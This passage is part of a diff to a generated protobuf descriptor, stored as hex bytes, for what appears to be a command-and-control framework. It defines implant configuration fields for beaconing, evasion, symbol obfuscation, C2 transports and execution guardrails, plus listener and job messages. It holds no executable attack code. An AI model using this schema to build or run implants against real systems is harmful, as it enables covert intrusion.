0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, + 0x69, 0x74, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, + 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, + 0x97, 0x0d, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, + 0x44, 0x12, 0x3c, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x52, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, + 0x2a, 0x0a, 0x10, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, + 0x65, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x49, + 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x49, + 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, + 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, + 0x74, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, + 0x48, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, + 0x14, 0x0a, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, + 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x2a, 0x0a, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, + 0x6f, 0x6c, 0x73, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, + 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x54, + 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x1e, 0x0a, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x0e, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, + 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x18, 0x35, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4d, 0x54, 0x4c, + 0x53, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x48, 0x54, 0x54, 0x50, + 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x48, + 0x54, 0x54, 0x50, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x57, 0x47, + 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x57, + 0x47, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x44, 0x4e, 0x53, 0x18, + 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x44, 0x4e, + 0x53, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4e, 0x61, 0x6d, 0x65, + 0x50, 0x69, 0x70, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x49, 0x6e, 0x63, 0x6c, + 0x75, 0x64, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x50, 0x69, 0x70, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, + 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, 0x50, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, 0x50, 0x12, 0x20, 0x0a, 0x0b, 0x57, + 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x20, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x2c, 0x0a, + 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, + 0x72, 0x74, 0x18, 0x21, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, + 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x57, + 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x22, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, + 0x6f, 0x72, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, + 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x28, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, + 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, + 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, + 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, + 0x6f, 0x72, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, + 0x75, 0x74, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, + 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x32, 0x18, 0x32, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x52, 0x02, 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, + 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x33, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, + 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, + 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x18, 0x34, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, + 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, + 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, + 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, + 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, + 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x18, + 0x3d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, + 0x74, 0x69, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, + 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, + 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, + 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3f, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, + 0x73, 0x74, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, + 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x69, + 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x41, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x2e, 0x0a, 0x06, + 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x64, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x22, 0x85, 0x01, 0x0a, - 0x0d, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x1e, - 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x22, - 0x0a, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, - 0x43, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x58, - 0x58, 0x50, 0x61, 0x74, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x58, 0x58, - 0x50, 0x61, 0x74, 0x68, 0x22, 0xf5, 0x01, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, - 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x32, 0x0a, - 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, - 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, - 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, - 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, - 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, - 0x72, 0x73, 0x12, 0x48, 0x0a, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, - 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, - 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, - 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x22, 0x1f, 0x0a, 0x09, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xd7, 0x01, - 0x0a, 0x09, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x49, - 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, - 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, - 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, - 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, - 0x65, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, - 0x72, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, - 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72, - 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, - 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, - 0x72, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, - 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, - 0x72, 0x69, 0x65, 0x73, 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, - 0x49, 0x50, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, - 0x49, 0x50, 0x22, 0x65, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x66, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08, - 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, - 0x65, 0x73, 0x22, 0x31, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, - 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, - 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, - 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06, - 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a, - 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, - 0x2d, 0x0a, 0x04, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c, - 0x0a, 0x0a, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, - 0x52, 0x65, 0x73, 0x74, 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, - 0x06, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x06, 0x4a, - 0x6f, 0x62, 0x49, 0x44, 0x73, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, - 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, - 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0xda, 0x02, 0x0a, 0x0b, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, - 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, - 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, - 0x6f, 0x62, 0x49, 0x44, 0x12, 0x35, 0x0a, 0x08, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x52, 0x08, 0x4d, 